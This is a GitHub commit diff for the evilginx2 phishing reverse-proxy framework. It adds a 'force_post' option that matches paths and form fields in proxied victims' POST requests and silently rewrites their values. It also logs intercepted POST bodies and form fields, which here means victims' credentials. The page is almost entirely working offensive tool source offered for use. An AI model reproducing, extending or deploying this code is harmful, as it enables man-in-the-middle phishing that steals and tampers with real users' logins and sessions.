Skip to content

Commit

Permalink
added feature to force post arguments in proxied requests with 'force…
Browse files Browse the repository at this point in the history
…_post'
  • Loading branch information
kgretzky committed Nov 20, 2018
1 parent 394836a commit 651c18b
Show file tree
Hide file tree
Showing 2 changed files with 139 additions and 4 deletions.
43 changes: 41 additions & 2 deletions core/http_proxy.go
Original file line number Diff line number Diff line change
Expand Up @@ -227,7 +227,8 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
if contentType == "application/json" {

json, _ := ioutil.ReadAll(req.Body)
log.Debug("POST %s", json)
log.Debug("POST: %s", req.URL.Path)
log.Debug("POST body = %s", json)

if pl.username.tp == "json" {
um := pl.username.search.FindStringSubmatch(string(json))
Expand Down Expand Up @@ -267,7 +268,8 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
} else {

if req.ParseForm() == nil {
for k, v := range req.Form {
log.Debug("POST: %s", req.URL.Path)
for k, v := range req.PostForm {
log.Debug("POST %s = %s", k, v[0])
if pl.username.key != nil && pl.username.search != nil && pl.username.key.MatchString(k) {
um := pl.username.search.FindStringSubmatch(v[0])
Expand Down Expand Up @@ -302,6 +304,43 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
}
}
}

// force posts
for _, fp := range pl.forcePost {
if fp.path.MatchString(req.URL.Path) {
log.Debug("force_post: url matched: %s", req.URL.Path)
ok_search := false
if len(fp.search) > 0 {
k_matched := len(fp.search)
for _, fp_s := range fp.search {
for k, v := range req.PostForm {
if fp_s.key.MatchString(k) && fp_s.search.MatchString(v[0]) {
if k_matched > 0 {
k_matched -= 1
}
log.Debug("force_post: [%d] matched - %s = %s", k_matched, k, v[0])
break
}
}
}
if k_matched == 0 {
ok_search = true
}
} else {
ok_search = true
}

if ok_search {
for _, fp_f := range fp.force {
req.PostForm.Set(fp_f.key, fp_f.value)
}
body = []byte(req.PostForm.Encode())
req.ContentLength = int64(len(body))
log.Debug("force_post: body: %s len:%d", body, len(body))
}
}
}

}

}
Expand Down
100 changes: 98 additions & 2 deletions core/phishlet.go
Original file line number Diff line number Diff line change
Expand Up @@ -49,6 +49,23 @@ type PostField struct {
search *regexp.Regexp
}

type ForcePostSearch struct {
key *regexp.Regexp `mapstructure:"key"`
search *regexp.Regexp `mapstructure:"search"`
}

type ForcePostForce struct {
key string `mapstructure:"key"`
value string `mapstructure:"value"`
}

type ForcePost struct {
path *regexp.Regexp `mapstructure:"path"`
search []ForcePostSearch `mapstructure:"search"`
force []ForcePostForce `mapstructure:"force"`
tp string `mapstructure:"type"`
}

type Phishlet struct {
Site string
Name string
Expand All @@ -65,6 +82,7 @@ type Phishlet struct {
landing_path []string
cfg *Config
custom []PostField
forcePost []ForcePost
}

type ConfigProxyHost struct {
Expand Down Expand Up @@ -102,13 +120,31 @@ type ConfigCredentials struct {
Custom *[]ConfigPostField `mapstructure:"custom"`
}

type ConfigForcePostSearch struct {
Key *string `mapstructure:"key"`
Search *string `mapstructure:"search"`
}

type ConfigForcePostForce struct {
Key *string `mapstructure:"key"`
Value *string `mapstructure:"value"`
}

type ConfigForcePost struct {
Path *string `mapstructure:"path"`
Search *[]ConfigForcePostSearch `mapstructure:"search"`
Force *[]ConfigForcePostForce `mapstructure:"force"`
Type *string `mapstructure:"type"`
}

type ConfigPhishlet struct {
Name string `mapstructure:"name"`
ProxyHosts *[]ConfigProxyHost `mapstructure:"proxy_hosts"`
SubFilters *[]ConfigSubFilter `mapstructure:"sub_filters"`
AuthTokens *[]ConfigAuthToken `mapstructure:"auth_tokens"`
AuthUrls []string `mapstructure:"auth_urls"`
Credentials *ConfigCredentials `mapstructure:"credentials"`
ForcePosts *[]ConfigForcePost `mapstructure:"force_post"`
LandingPath *[]string `mapstructure:"landing_path"`
}

Expand Down Expand Up @@ -139,6 +175,7 @@ func (p *Phishlet) Clear() {
p.password.key = nil
p.password.search = nil
p.custom = []PostField{}
p.forcePost = []ForcePost{}
}

func (p *Phishlet) LoadFromFile(path string) error {
Expand All @@ -163,7 +200,6 @@ func (p *Phishlet) LoadFromFile(path string) error {
return err
}
if !p.isVersionHigherEqual(&p.Version, "2.2.0") {
// TODO: tell user to visit wiki on migration and new documented phishlet format
return fmt.Errorf("this phishlet is incompatible with current version of evilginx.\nplease do the following modifications to update it:\n\n" +
"- in each `sub_filters` item change `hostname` to `triggers_on`\n" +
"- in each `sub_filters` item change `sub` to `orig_sub`\n" +
Expand All @@ -173,7 +209,8 @@ func (p *Phishlet) LoadFromFile(path string) error {
"- field `key` in both `username` and `password` must be a regexp by default\n" +
"- move `username` and `password` into new `credentials` section\n" +
"- add `type` field to `username` and `password` with value 'post' or 'json'\n" +
"- change `min_ver` to at least `2.2.0`")
"- change `min_ver` to at least `2.2.0`\n" +
"you can find the phishlet 2.2.0 file format documentation here: https://github.com/kgretzky/evilginx2/wiki/Phishlet-File-Format-(2.2.0)")
}

fp := ConfigPhishlet{}
Expand Down Expand Up @@ -321,6 +358,65 @@ func (p *Phishlet) LoadFromFile(path string) error {
}
}

if fp.ForcePosts != nil {
for _, op := range *fp.ForcePosts {
var err error
if op.Path == nil || *op.Path == "" {
return fmt.Errorf("force_post: missing or empty `path` field")
}
if op.Type == nil || *op.Type != "post" {
return fmt.Errorf("force_post: unknown type - only 'post' is currently supported")
}
if op.Force == nil || len(*op.Force) == 0 {
return fmt.Errorf("force_post: missing or empty `force` field")
}

fpf := ForcePost{}
fpf.path, err = regexp.Compile(*op.Path)
if err != nil {
return err
}
fpf.tp = *op.Type

if op.Search != nil {
for _, op_s := range *op.Search {
if op_s.Key == nil {
return fmt.Errorf("force_post: missing search `key` field")
}
if op_s.Search == nil {
return fmt.Errorf("force_post: missing search `search` field")
}

f_s := ForcePostSearch{}
f_s.key, err = regexp.Compile(*op_s.Key)
if err != nil {
return err
}
f_s.search, err = regexp.Compile(*op_s.Search)
if err != nil {
return err
}
fpf.search = append(fpf.search, f_s)
}
}
for _, op_f := range *op.Force {
if op_f.Key == nil {
return fmt.Errorf("force_post: missing force `key` field")
}
if op_f.Value == nil {
return fmt.Errorf("force_post: missing force `value` field")
}

f_f := ForcePostForce{
key: *op_f.Key,
value: *op_f.Value,
}
fpf.force = append(fpf.force, f_f)
}
p.forcePost = append(p.forcePost, fpf)
}
}

p.landing_path = *fp.LandingPath

return nil
Expand Down

0 comments on commit 651c18b

Please sign in to comment.